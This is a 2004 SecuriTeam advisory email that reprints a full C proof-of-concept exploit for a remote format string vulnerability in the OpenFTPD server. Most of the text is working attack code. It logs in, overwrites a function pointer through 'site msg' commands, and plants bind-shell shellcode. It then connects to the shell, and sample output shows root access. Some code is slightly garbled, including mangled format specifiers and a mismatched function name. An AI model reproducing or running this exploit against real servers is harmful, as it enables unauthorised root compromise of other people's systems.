

[EXPL] OpenFTPD Format String Exploit

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2004-08/0020.html>

From: SecuriTeam (support_at_securiteam.com)

Date: 08/05/04

To: list@securiteam.com

Date: 5 Aug 2004 18:21:53 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

OpenFTPD Format String Exploit

SUMMARY

A remote format string vulnerability was found and reported in our previously featured article '

<<http://www.securiteam.com/unixfocus/5BP050ADPW.html>> OpenFTPD Format String Vulnerability'.

The following proof-of-concept script can help test the vulnerability against potentially vulnerable servers.

DETAILS

Exploit:

```
/*
```

```
* shouts to mitakeet :D
```

```
*
```

```
* exploit for openftpd format string bug. tested on most current version only.
```

```
* –infamous42md AT hotpop DOT com is real email
```

```
*
```

```
* only tricky part is find a place to stick the shell, as there isn't enough
```

Securiteam: [EXPL] OpenFTPD Format String Exploit

```
* room to send it with the format string. thankfully when using the 'site
msg'
* commands, all of the args to command are passed directly through to the
msg
* program. so when we tell ftpd to read messages with 'site msg read X',
we
* pass the shellcode as X. the jumpslot for fclose() gets hijacked, and
the
* retaddr lies early in stack, it's argv[3].
* no values are hardcoded into sploit, all come from command line, this
works
* for me on slack 9:
*
* [n00b@localho.outernet] ./openf -u root -p "" -l 0x0804d8b8 -r
0xbffff9d4 -h
* localho -o 6969 -a 2 -b 18
* connected to localho
* Logged in as root
* Exploit sent
* connected to localho
* got a shell
*
* id
* uid=0(root) gid=0(root)
*
groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy)
*
* - Connection closed by user
*
* Usage: ./openf
* [ -u user ] [ -p pass ] [ -l retloc ] [ -r retaddr ]
* [ -b parms base ] [ -h host ] [ -o port ] [ -a align ]
*
* */
#include <stdio.h>
#include <sys/types.h>
#include <string.h>
#include <unistd.h>
#include <sys/socket.h>
#include <netdb.h>
#include <stdlib.h>

#define SLOP 8
#define NOP 0x90
#define BS 0x1000
#define SBS 512
#define SHELL_PORT 7000
#define die(x) do{ perror(x); exit(1); }while(0)

typedef struct __args {
char *user, *pass;
```

Securiteam: [EXPL] OpenFTPD Format String Exploit

```
char *host;
u_short port;
u_long retloc, retaddr;
int parms_base; /* distance to the dummy param */
int align;
} args;

/* call them shell code */
char sc[] =
"\x31\xc0\x50\x50\x66\xc7\x44\x24\x02\x1b\x58\xc6\x04\x24\x02\x89\xe6"
"\xb0\x02\xcd\x80\x85\xc0\x74\x08\x31\xc0\x31\xdb\xb0\x01\xcd\x80\x50"
"\x6a\x01\x6a\x02\x89\xe1\x31\xdb\xb0\x66\xb3\x01\xcd\x80\x89\xc5\x6a"
"\x10\x56\x50\x89\xe1\xb0\x66\xb3\x02\xcd\x80\x6a\x01\x55\x89\xe1\x31"
"\xc0\x31\xdb\xb0\x66\xb3\x04\xcd\x80\x31\xc0\x50\x50\x55\x89\xe1\xb0"
"\x66\xb3\x05\xcd\x80\x89\xc5\x31\xc0\x89\xeb\x31\xc9\xb0\x3f\xcd\x80"
"\x41\x80\xf9\x03\x7c\xf6\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62"
"\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80";

char *usage =
"\t[ -u user ] [ -p pass ] [ -l retloc ] [ -r retaddr ]\n"
"\t[ -b parms base ] [ -h host ] [ -o port ] [ -a align ]\n";

void parse_args(int argc, char **argv, args * argp)
{
int c;

while ((c = getopt(argc, argv, "a:u:p:l:r:b:h:o:")) != -1) {
switch (c) {
case 'a':
if ((argp->align = atoi(optarg)) < 0 || argp->align > 3)
goto usage;
break;
case 'u':
argp->user = optarg;
break;
case 'p':
argp->pass = optarg;
break;
case 'l':
sscanf(optarg, "%lx", &argp->retloc);
break;
case 'r':
sscanf(optarg, "%lx", &argp->retaddr);
break;
case 'h':
argp->host = optarg;
break;
case 'o':
argp->port = atoi(optarg);
break;
case 'b':
```

Securiteam: [EXPL] OpenFTPD Format String Exploit

```
if ((argp->parms_base = atoi(optarg)) > 0)
break;
/*
* fall thru
*/
pusage:
case '!':
case '?':
default:
fprintf(stderr, "Usage: %s\n%s", argv[0], usage);
exit(1);
}
}
if (optind != argc || !argp->user || !argp->pass || !argp->retloc ||
!argp->retaddr || !argp->host || !argp->port || !argp->parms_base)
goto pusage;
}

int conn(char *host, u_short port)
{
int sock = 0;
struct hostent *hp;
struct sockaddr_in sa;

memset(&sa, 0, sizeof(sa));

hp = gethostbyname(host);
if (hp == NULL) {
herror("ghbn");
die("bla");
}
sa.sin_family = AF_INET;
sa.sin_port = htons(port);
sa.sin_addr = *((struct in_addr **) hp->h_addr_list);

sock = socket(AF_INET, SOCK_STREAM, 0);
if (sock < 0)
die("socket");

if (connect(sock, (struct sockaddr *) &sa, sizeof(sa)) < 0)
die("connect");

printf("connected to %s\n", host);
return sock;
}

void login(char *user, char *pass, int sock)
{
char ubuf[BS], pbuf[BS];
```

Securiteam: [EXPL] OpenFTPD Format String Exploit

```
snprintf(ubuf, BS - 1, "USER %s\r\n", user);
ubuf[BS - 1] = 0;
snprintf(pbuf, BS - 1, "PASS %s\r\n", pass);
pbuf[BS - 1] = 0;

sleep(1);
if (send(sock, ubuf, strlen(ubuf), 0) < 0)
die("send");
sleep(1);
if (send(sock, pbuf, strlen(pbuf), 0) < 0)
die("send");
sleep(1);
printf("Logged in as %s\n", user);
}

void get_fmt(args * argp, char *fb)
{
u_short high, low;
ulong retloc = argp->retloc, slop = 0;
int dummy = argp->parms_base, len = 0;

/* bytes printed before us */
slop = SLOP + argp->align;

/* ret addr */
low = (argp->retaddr & 0xffff);
high = argp->retaddr >> 16;

/* adjust ret addr words */
if (low > high)
high += (0x10000 - low);
else if (high > low)
high -= low;
else if (high == low) {
fprintf(stderr, "Can't encode a NULL high retaddr, bailing\n"
"high = %hx\tlow = %hx\n", high, low);
die("adsf");
}

low -= slop;

/* align */
memset(fb, 'A', argp->align);
fb[argp->align] = 0;

/* write code
* fmt look like:
* ALIGN-write_code-dummy-addr1-addr2-low_retaddr-high_retaddr
*/
sprintf(fb,
/* retL writeL retH writeH */
```

Securiteam: [EXPL] OpenFTPD Format String Exploit

```
"%s" "%%d$d$u" "%%d$hn" "%%d$d$u" "%%d$hn",  
fb, dummy, dummy + 3, dummy + 1, dummy, dummy + 4, dummy + 2);
```

```
/* args */  
strcat(fb, "1111"); /* dummy */  
len = strlen(fb);  
*(u_int *) (fb + len) = retloc; /* write 1 */  
len += sizeof(retloc);  
*(u_int *) (fb + len) = retloc + 2; /* write 2 */  
len += sizeof(retloc);  
*(u_short *) (fb + len) = low; /* ret low */  
*(u_short *) (fb + len + 2) = 0x0101; /* can't be 0 */  
len += sizeof(retloc);  
*(u_short *) (fb + len) = high; /* ret high */  
*(u_short *) (fb + len + 2) = 0x0101; /* can't be 0 */  
len += sizeof(retloc);  
  
fb[len] = 0;  
}  
  
void exploit(args * argp, int sock)  
{  
char buf[BS], fmt[BS], sb[BS];  
  
/* setup shell buf */  
memset(sb, NOP, BS);  
strncpy(sb + 100, sc, BS - 101);  
sb[BS - 1] = 0;  
  
get_fmt(argp, fmt);  
  
/* slip them the poison */  
snprintf(buf, BS - 1, "site msg send %s %s\r\n", argp->user, fmt);  
buf[BS - 1] = 0;  
if (send(sock, buf, strlen(buf), 0) < 0)  
die("send");  
  
sleep(5);  
  
/* and make them eat it */  
snprintf(buf, BS - 1, "site msg read %s\r\n", sb);  
buf[BS - 1] = 0;  
if (send(sock, buf, strlen(buf), 0) < 0)  
die("send");  
  
printf("Exploit sent\n");  
sleep(1);  
}  
  
void shell(char *host, u_short port)  
{
```

Securiteam: [EXPL] OpenFTPD Format String Exploit

```
int sock = 0, l = 0;
char buf[BS];
fd_set rfd;

sock = conn(host, port);

printf("got a shell\n\n");
FD_ZERO(&rfd);

while (1) {
    FD_SET(STDIN_FILENO, &rfd);
    FD_SET(sock, &rfd);

    if (select(sock + 1, &rfd, NULL, NULL, NULL) < 1)
        die("select");

    if (FD_ISSET(STDIN_FILENO, &rfd)) {
        if ((l = read(0, buf, BS)) <= 0)
            die("\n - Connection closed by user\n");
        if (write(sock, buf, l) < 1)
            die("write");
    }

    if (FD_ISSET(sock, &rfd)) {
        l = read(sock, buf, sizeof(buf));

        if (l == 0)
            die("\n - Connection terminated.\n");
        else if (l < 0)
            die("\n - Read failure\n");

        if (write(1, buf, l) < 1)
            die("write");
    }
}

int main(int argc, char **argv)
{
    int sock = 0;
    args args;

    memset(&args, 0, sizeof(args));
    parse_args(argc, argv, &args);
    sock = conn(args.host, args.port);
    login(args.user, args.pass, sock);
    sploit(&args, sock);
    close(sock);
    sleep(20);
    shell(args.host, SHELL_PORT);
}
```

Securiteam: [EXPL] OpenFTPD Format String Exploit

```
return 0;  
}
```

ADDITIONAL INFORMATION

The information has been provided by <mailto:infamous41md@hotmail.com>
infamous41md.

=====

This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to:
list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====
=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential,
loss of business profits or special damages.